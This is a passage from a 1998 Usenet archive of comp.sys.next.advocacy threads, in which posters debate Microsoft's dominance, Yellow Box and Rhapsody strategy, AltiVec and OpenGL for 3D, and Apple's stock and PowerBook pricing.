wasting my time posing such idiotic questions. Of course you know the
answer.
> You argue "Microsoft products
> are better for customers because everyone has to use Microsoft products",
> which is completely circular.
I argue nothing of the kind, and the fact that you use quotation marks
is a mistake that should be withdrawn as soon as you reply to this post:
__________________________________________________________________________________________________________________________
> And NT doesn't have a huge application
> base because it's a superior product, unless you tautologously _define_
> "superior" to mean "huge application base", which is what you're
> apparently doing.
No. I define "huge application base" as an advantage. That is all. Will
you deny it? Please feel free:
__________________________________________________________________________________________________________________________
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 03:55:49 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356648C5.A75562E9@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <6k4kil$a9g3@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 23 May 1998 04:00:36 GMT
Michelle L. Buck wrote:
> The one platform that almost all companies can safely but all their eggs in
> is Wintel. Ok, if you have some esoteric embedded system need or if you
> build telephone switches, you may need features impossible to get with
> Wintel. The other 99.99% of the people and companies are busy getting rid
> of every non-wintel machine and hiring NT administrators as fast as they can
> be (half) trained.
This is gross overstatement. NT servers are selling to fill a gap in the
computing lineup, not to replace Unix server and workstation sales.
*Some* companies are throwing out Unix workstations, others are buying
them more than ever as the prices come down.
Not everybody is stupid. Look at the numbers sometime. It's more
expensive in any 3-or-less-year period, in any medium-to-large-sized
shop to move from Unix to NT. Many companies said they'd wait and see,
and now that Unix hardware has come down in price they are glad they
waited.
Don't get me wrong, they are still porting to NT. That's just more
evidence of how smart they are.
> If you need extreme 3d, buy from SGI or Evans & Southerland (sp?)
This is already NT, and was one of the first markets to move. Bad
example.
> If you need 24/7 operation, buy IBM, HP, Sun servers and really really pay a
> lot in total cost of ownership.
Actually, the people I talked to in telecommunications said that Unix
machines are "highly available", not "fault tolerant". The
fault-tolerant solutions are expensive, proprietary systems. The "open
system" solutions have the drawback of less fault tolerance, but lower
price and yearly-doubling performance. To them, Unix is the new stuff,
and the stuff you're talking about is proprietary stuff they're trying
to move away from. This is what I heard from multiple vendors.
NT fits in the "open system" category if it can do the job. It's not
always capable, nor is it always cheaper.
[cut]
> If you want games, productivity software, wide variety of hardware options,
> compatibility with everyone you know or work with, small up-front
> investment, the widest range of software options in all categories, and the
> approval of your boss (the CEO), buy Wintel!
Are you saying this is an accident? Some kind of fluke, a twist of fate
that nobody can explain? See, if that's what you're saying, I can
understand fatalism. The computer industry's a bitch and then you go out
of business.
I think you know better. I think you know that Unix vendors fucked
themselves and their customers over year after year. I think you
understand that Microsoft busted its ass to get into the position it's
in. I think you know that Microsoft's market dominance is no accident.
Here's what you may be missing: if Microsoft could do it, anyone else
can do it. The only bad news is to do it YOU HAVE TO STOP FUCKING UP.
Yep, it's pretty much that simple.
> Isn't that depressing ? The war is over.
The war's over when the last soldier stops firing his gun. Just because
you've put yours down means nothing to me.
> SJ is correct, Microsoft won. We
> are all doomed to a software dark ages for at least 10 years. Get over it
> or quit the business. I haven't decided which I will do yet.
>
> The only people the iMacs or any other Apple offering will appeal to are
> people who already own a Mac. Only a fraction of those people will buy
> Apple again. Apple may make some profits selling upgrades to the loyal
> customer base for a while, but the writing is on the wall. If I were SJ, I
> would get out while I am still regarded as a hero.
>
> Look at the signs. Schools are dumping Mac as fast as they can. There is
> basically no widely accepted desktop publishing application that is not
> available for Wintel and often Wintel first. Apple is not a credible server
> company. Cool technology like QuickTime and WebObjects is on Wintel.
> WebObjects is Wintel FIRST at the moment. Unless you already have a Mac and
> a lot of mac software, there is no reason to buy anything from Apple. Even
> if PPC is 5x faster that Wintel, it is not faster enough to overcome market
> pressure and trends. People will just wait for the Merced chimera. And
> even if you have a Mac, there are all sorts of good compelling reasons to
> switch to Wintel (Like your boss will fire you if you ever buy another Mac).
>
> Nobody ever got fired for buying Wintel. At many companies, buying Apple is
> sufficient reason to fire someone. Why is that ? (Just look at the history)
>
> My local school bard with 12000 students recently voted to replace all Macs
> with Wintel.
> Intel has convinced consumers that Merced will be awesome (I don't know if
> it will be or not).
> The few compelling advantages of Openstep such as Display Postscript and a
> superior GUI are now gone.
> YellowBox is awesome, but I personally encounter entrenched disbelief.
> Developer have heard it all before and they are unwilling to believe in
> cross platform again even though it is real now.
>
> Apple purchased Next 5 to 10 years too late. Every feature of MacOS-X and
> more could have been shipped in 1990 before Windows really took off.
I'm sorry. I bet you feel better on Monday.
MJP
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 23 May 1998 00:16:34 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net>
In article <3566448F.2722F9E0@nstar.net>, "Michael J. Peck" <mjpeck@nstar.net> wrote:
> Nathan Urban wrote:
> > > Because from where I stand, if you work at Sun, HP, IBM, or SGI writing
> > > operating systems and UNIX software, you just plain suck. Either that or
> > > your management sucks, doesn't make a difference to me. The stuff you're
> > > turning out is useless to 99% of the world.
> > Your whole argument is bogus. Microsoft's solutions aren't "better".
> Not from your perspective. Please, would you at least admit that the
> only person qualified to absolutely judge the quality of a product for
> your needs is yourself? Now would you extent that to other people?
Sure. Most Mircosoft solutions suck. Most people I know who are
forced to use them agree with me, including almost all of my coworkers,
my father, most of my friends, etc. Of course, most of them have used
alternatives before, so have come to have high expectations.
> > They don't make products that are "better for their customers", they
> > just leverage the fact that everyone is locked into using Windows and
> > their data formats are de facto standard.
> That's the excuse I hear every time. The funny thing is, most Microsoft
> customers I talk to insist that they use Microsoft products because they
> like them.
Quite a few Microsoft customers I've talked to have never extensively
used any alternative. Sure, Microsoft products are better than _nothing_.
I've found that people simply _accept_ crashes, bloated software,
difficult and confusing interfaces, overcomplex feature sets, and many
other aspects of computing as _natural_, simply because that's the way
everything they use is!
> Hmmmm, I wonder whose word I should take on it: the satisfied
> customer
It's easy to be a "satisfied customer" when your expectations have been
lowered by years worth of shoddy products you've been forced to use.
> or the whining and jealous malcontent?
I'm neither whining nor jealous.
> > And NT doesn't have a huge application
> > base because it's a superior product, unless you tautologously _define_
> > "superior" to mean "huge application base", which is what you're
> > apparently doing.
> No. I define "huge application base" as an advantage.
You stated that "huge application base" and "inferior product" are
contradictory, which implies that "huge application base" makes a
product superior. The application base has nothing to do with the
intrinsic quality of the product, though it does have a lot to do with
what you're forced to use.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: News on WebObjects 4.0?
Date: 23 May 1998 04:11:32 GMT
Organization: Digital Fix Development
Message-ID: <6k5i9k$dnm$1@news.digifix.com>
References: <6k4cn4$71h$2@news.idiom.com> <6k4g9m$8up$1@crib.bevc.blacksburg.va.us>
In-Reply-To: <6k4g9m$8up$1@crib.bevc.blacksburg.va.us>
On 05/22/98, Nathan Urban wrote:
>In article <6k4cn4$71h$2@news.idiom.com>,
jcr.remove@this.phrase.idiom.com wrote:
>
>> Would someone please give us a quick run-down of what mind-boggling
>> improvements WebObjects 4 brings to the table?
>
>Brief summary at:
>
> http://www.zdnet.com/macweek/1220/in_webobjects.html
>
That was very brief, and they got some of it wrong. The 'no server
needed' feature is more of a development tool rather than a deployment
feature.
There is more information from the Rhapsody BOF at WWDC at:
http://www.stepwise.com/SpecialCoverage/WWDC98/Wednesday.html
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: wdavis@groupz.net (Wayne Davis)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sat, 23 May 1998 02:28:04 -0400
Organization: from Home
Message-ID: <wdavis-2305980228040001@ags-5200-1-p8.groupz.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5> <6jg12k$o12$1@winter.news.erols.com> <rmcassid-1405982346120001@dialin9022.slip.uci.edu> <johntl-ya02408000R1605981703160001@news.means.net> <6jo41u$qs9$1@nntp2.ba.best.com> <tbrown-1805981014420001@mv175.axom.com>
NNTP-Posting-Date: 23 May 1998 06:28:08 GMT
In article <tbrown-1805981014420001@mv175.axom.com>, tbrown@netset.com
(Ted Brown) wrote:
snip
>
>It is expensive. My father showed me an add for a WinBook this weekend:
>233 MMX, _Active Matrix Screen_, 16 MB, 1.6 GB HD, USB, CardBus, InfraRed,
>CD-ROM, Floppy, etc. It's failings were it's rather small HD, only 16MB
>of memory and no internal modem (though you could order it with more
>memory and internal modem). The kicker is that it cost $1199.
>
>snip
Actually, the $1199 model has only an STN screen, the TFT is $1999.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 22:33:20 -0700
Message-ID: <see-below-2205982233210001@209.24.240.37>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu>
In article <rmcassid-2205981007210001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <rex-2205980058440001@192.168.0.3>, rex@smallandmighty.com
> (Eric King) wrote:
>
> >Am I the only
> >one who noticed (and is very worried) that there were no significant WWDC
> >announcements about 3D?
>
> Apple will support AltiVec when it ships. That seems like a significant
> WWDC announcement about 3D to me, though you do need to fill in around the
> edges a bit, I admit.
And AlitVec is an industry standard 3D API in what way?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: caradoc@neta.com (John Groseclose)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 23:48:57 -0700
Organization: Yngvi's De-Lousing and Pest Control Service
Message-ID: <caradoc-2205982348570001@caradoc.neta.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <slrn6mcq8v.7f0.jason@jhste1.dyn.ml.org>
In article <slrn6mcq8v.7f0.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
<snip>
> You do know that vi is not the only editor available for UNIX, of
> course. Why not give them NEdit? - it's really nice, and would work
> well for people who can't handle vi (and NEdit's much less confusing
> than emacs).
And, for those who can't handle much of anything in the text-window world,
there's always pico. I can't remember how many times I've introduced
someone to it because they said, "Dammit! How the HELL do I use this
godforsaken piece of #$*^()@????"
And, scary as it sounds, my introduction to vi was sitting up for an
entire sleepless night with a copy of "UNIX for Dummies" in one hand, with
the other hand typing "sudo vi /tacacs/etc/tac_plus". At the time, I knew
just enough about UNIX to know that what I was doing was A) extremely
dangerous, and B) very necessary.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 23:53:40 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2205982353410001@dialin9223.slip.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37>
In article <see-below-2205982233210001@209.24.240.37>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <rmcassid-2205981007210001@dante.eng.uci.edu>, rmcassid@uci.edu
> (Robert Cassidy) wrote:
> > Apple will support AltiVec when it ships. That seems like a significant
> > WWDC announcement about 3D to me, though you do need to fill in around the
> > edges a bit, I admit.
>
> And AlitVec is an industry standard 3D API in what way?
It's not. The expectation is that Apple isn't stupid enough to waste a hot
technology like AltiVec on some non-industry standard 3D API. They'll get
OpenGL optimized for AltiVec. I have no doubt you will see it in the next
year. Like I said, you need to fill in around the edges.
-Bob Cassidy
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Sat, 23 May 1998 00:04:20 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d9gfyb.1w51ox217xwayoN@phoenix62.wco.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com> <1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com> <355FC790.47AFED2F@trilithon.com> <rmcassid-1805981655100001@dante.eng.uci.edu> <CFm91.2270$Kx3.2422317@news.rdc1.sdca.home.com>
Rex Riley <rriley@yahoo.com> wrote:
> APL $27 5/16 today... whoops! One down :-)
>
> Mike Paquette, stated options were driving the price lower, earlier! Any
> options driving this stock slide? Someone posted that WWDC was over the heads
> of most investors. AAPL's lost 4 pts. since WWDC Monday. Notice it's first
> time AAPL hasn't held its price against a down market?
The drop early Friday coincided with a news (real, not USENET) article
describing how UMAX was losing money in the Mac clone market. The stock
recovered slightly, then dropped on news of possible distribution
channel cutbacks. Volume on the day was moderate.
I still think the stock market doesn't give a damn about window system
architectures. If that was significant, then why is Microsoft trading
at such a rediculous P/E ratio?
--
Mike Paquette mpaque@wco.com
"Troubled Microsoft" and the "Troubled Microsoft" logo are trade and
service marks of Microsoft, Inc.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <23059803.3041@celebsxxxx.com>
Control: cancel <23059803.3041@celebsxxxx.com>
Date: 23 May 1998 07:04:39 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.23059803.3041@celebsxxxx.com>
Sender: Jen.Anniston@celebsxxxx.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 00:21:20 -0700
Message-ID: <see-below-2305980021200001@209.24.240.37>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net>
In article <356662FD.D56CC983@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Matthew Vaughan wrote:
>
> > > Apple will support AltiVec when it ships. That seems like a significant
> > > WWDC announcement about 3D to me, though you do need to fill in around the
> > > edges a bit, I admit.
> >
> > And AlitVec is an industry standard 3D API in what way?
>
> That's not the point, AltiVec isn't an API, it's a hardware
> specification. If OpenGL drivers were written for AltiVec, for instance,
> I'm sure Bob's point would be satisfied.
>
> I don't have any idea how capable AltiVec is of fulfilling the
> objectives of specialized 3D hardware. Perhaps someone can shed some
> light on this. If, indeed, AltiVec can deliver competitive 3D, Bob's
> point would be quite well taken. A nagging voice is telling me it ain't
> necessarily so...
However, more useful than even AltiVec would be OpenGL support (from
Apple--Conix is doing great stuff, but Apple needs to make it official).
That would make it easier to port 3D applications from other platforms.
And if you have OpenGL drivers for 3D accelerator cards (which Conix now
provides), that gives you more performance than even AltiVec will (I also
don't know how applicable to 3D it will be--I'm sure it will help some,
but not replace 3D cards, and there are lots of those--what's needed is a
standardized way to access them).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: OpenGL and Altivec
Date: Sat, 23 May 1998 00:10:18 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2305980010180001@dialin9223.slip.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net>
In article <356662FD.D56CC983@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
[added c.s.powerpc.advocacy]
> I don't have any idea how capable AltiVec is of fulfilling the
> objectives of specialized 3D hardware. Perhaps someone can shed some
> light on this. If, indeed, AltiVec can deliver competitive 3D, Bob's
> point would be quite well taken. A nagging voice is telling me it ain't
> necessarily so...
Hopefully Maynard or Tim Olson or Robert Barris will sneak in and give us
some more solid info, I'm pretty much going on what they and others have
said thus far... including a lot of reading between lines.
From what I've been led to understand, AltiVec should deliver competitve
3D. Apple helped develop this thing (initiated, from what I've been told)
and would appear to be seriously interested in it. I get the sense that it
is being chosen in lieu of specialized hardware in many places due to cost
(obvious) and an easy ability to support. Basically Apple can get
Quicktime to support Altivec with less effort than a full port to
Trimedia, for example. And given that Apple helped design Altivec, I would
also assume they made sure it would do the kinds of things they need. What
I assume we would see is full Quicktime support including MPEG-2 encoding
and decoding. I also assume that Apple will push whatever 3D API it wishes
to support on it. Based on how many times I've now heard suggestions of
OpenGL support by Apple (including a few straight out statements that
OpenGL would be in QTML), I'm starting to believe it, and it makes sense
given the current trends at Apple. They seem to be chasing a 'let's use
the best' strategy whenever they can. OpenGL seems like a slam-dunk. An
agreement with OpenGL involving QT also makes sense since Apple and SGI
had agreements in the past for certain QT support by SGI.
I'd also be curious to know from Mike what role Altivec will play in his
neck of the woods.
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 22:56:23 -0700
Message-ID: <see-below-2205982256230001@209.24.240.37>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67> <6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net> <6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net> <6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
In article <3565EAF0.282C4C33@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Maury Markowitz wrote:
>
> > I fully agree that having multiple platform
> > support is a reason to support a package by itself,
>
> There, that's the crux of it.
Agreed.
> but let me explain a concept I'm finding difficult to put into
> words. It goes like this: 100% is better than 90%, and what makes it
> better is more than just 10%. The value increase from 90% to 100% is
> greater than that from 80% to 90%, am I right? I think that 100% is the
> concept that sold Java three years ago, and it can sell Yellow Box
> today.
Yes. The value of "runs everywhere" is much greater than "runs on the two
biggest platforms," and it's not something that's linearly related to the
number of developers or customers involved. It's more psychological.
> Plus, you have so much more momentum to put to use. You have Linux, you
> have QuickTime, you have the Apple income stream, you have Java itself,
> and you have Windows NT! Why not put Windows NT to work selling Yellow
> Box? It can happen. It just needs to be figured out.
>
> > Sure, but to be a worthy competitor YB needs to bootstrap itself into the
> > market. I don't think "hey look, it runs on Solaris" will do that. I think
> > "hey look, it makes database programming a snap" will.
Yes, but that's exactly the problem. Saying "hey look, it runs on NT"
doesn't do anything either, since then you're just trying to sell people
on a "better" way to write NT programs, which they're absolutely not going
to buy into. So now your only selling point is it's a good
enterprise/database development tool, which is fine, but only for those
customers who have that particular need. Java has been adopted (or at
least investigated) by all kinds of people who may or may not have a
critical need for it, simply because it "runs everywhere."
What you need to say is what Java says: "hey look, it runs on Solaris, and
AIX, and DEC Unix, and HP-UX, and Irix, and Linux, and FreeBSD, and
NetBSD, and NT, and OS/2, and..." And in fact, making it a part of the
Java "package" would also leverage the momentum Java already has, and in
fact add to it, by addressing many of the problems developers have run
into with Java development.
> > > Hmmm, right, it didn't raise any eyebrows that Java would run
> > > anywhere...
> >
> > Been to Upside's web site lately?
>
> If it's the same stuff we normally see, they're trying to debunk the
> Java Everywhere thing. That's a separate discussion, and I think they're
> wrong, to make a long story short.
>
> But it *is* a separate issue: the original excitement, the kickstart,
> that's what I'm talking about. Yellow Box has been nothing but a cold
> fish. I understand some of the intricacies of Jobs' position, but
> c'mon...
Exactly. Yellow Box needs to be _everywhere_. If it's jut Mac and Windows,
even if that does total up to 90% of the market, what's the point? Java
had tremendous excitement when it started (and still does, though with
more realism mixed in), and got huge numbers of developers to at least
start fooling around with it, but if Sun had offered it only for Mac and
Windows, do you think that would have happened? Not in a million years!
> Let me put it this way: there's no point in a dual-platform strategy. It
> makes no sense. Heck, a one-platform strategy makes little sense, in my
> opinion. What I want is an all-encompassing platform, the grail
> everyone's currently looking for. It's not like people don't understand
> how much different platforms are costing them in terms of development.
> That's the whole impetus toward NT. Simply adding two more platforms to
> the mix is what I call "ridiculous".
Yes. If it's just Windows and Mac, most Wintel developers are going to
yawn (if they even notice in the first place), and keep right on writing
Windows programs. Mac developers might adopt it eventually, but it already
appears it's going to be a really slow process (ie, they're yawning too).
Most developers who already write applications for both platforms already
have frameworks and code bases in place for both platforms, and won't be
terribly willing to toss all that for Yellow Box anytime soon.
> Steve Jobs *does* need to milk MacOS and move on, without all the
> bone-chilling implications of that statement. Do what Amelio promised
> originally please! Support MacOS indefinitely, but start pushing Yellow
> Box as the universal platform. It makes so much sense.
Yes. But it doesn't need to be as "bone-chilling" as all that, as Mac OS X
shows --if/when Yellow Box becomes a standard, MacOS (Rhapsody/PPC) will
probably be the best place to run those programs.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 05:43:48 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35666214.339DA7D@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us>
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NNTP-Posting-Date: 23 May 1998 05:48:32 GMT
Nathan Urban wrote:
> Sure. Most Mircosoft solutions suck. Most people I know who are
> forced to use them agree with me, including almost all of my coworkers,
> my father, most of my friends, etc. Of course, most of them have used
> alternatives before, so have come to have high expectations.
That's sorta odd. I don't personally know anyone who's forced to use
Microsoft products, but I don't know everyone, so I won't assume that my
experience is normative. My father chooses to use a Macintosh, but he
and his colleagues have decided to use Microsoft Word as a document
platform because they have calculated that it's valuable for them to do
so. They chose Microsoft Word, but you know different people than I do.
Another interesting point is that most people I know who use Microsoft
solutions have also used alternatives. They hate them. When I worked in
a mixed Solaris/Windows environment at FedEx, all of the Windows users
hated Unix because they had higher expectations based on their use of
Windows. Their expectations differed from mine fundamentally, but that's
basically immaterial. Using vi, for instance, didn't meet with their
needs.
Now I'm sure you'll say that they were closed-minded or inexperienced.
You'd be wrong.
> Quite a few Microsoft customers I've talked to have never extensively
> used any alternative. Sure, Microsoft products are better than _nothing_.
> I've found that people simply _accept_ crashes,
Oh, a la MacOS? A la ApplixWare?
> bloated software,
Yeah, a lot of emacs users I know tolerate that, too. I'm one of them.
> difficult and confusing interfaces,
Oh, the irony, coming from a NeXTstep fan.
> overcomplex feature sets,
See above.
As a former NeXTstep user, you can hardly accuse me of inexperience. But
now I expect you'll claim I'm just stupid. There are always lots of ways
to justify forcing your opinion on others, be creative and surprise me.
> and many
> other aspects of computing as _natural_, simply because that's the way
> everything they use is!
But you don't settle, of course. What a joke.
> It's easy to be a "satisfied customer" when your expectations have been
> lowered by years worth of shoddy products you've been forced to use.
Well, I'd say we're all satisfied customers, then. 99% of all software
I've encountered is basically "shoddy". I don't remember being forced to
use it. If I remember correctly, I used it because I chose to.
[cut]
> > No. I define "huge application base" as an advantage.
>
> You stated that "huge application base" and "inferior product" are
> contradictory, which implies that "huge application base" makes a
> product superior.
No, it implies that "huge application base" and "inferior product" are
contradictory. I know if you think hard enough you'll recognize your
leap of logic.
> The application base has nothing to do with the
> intrinsic quality of the product,
"Intrinsic quality"?! I don't remember defining that term in the context
of this discussion. Perhaps you should start there.
> though it does have a lot to do with
> what you're forced to use.
"Forced to use". There's another term you need to define.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 23 May 1998 05:47:41 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356662FD.D56CC983@nstar.net>
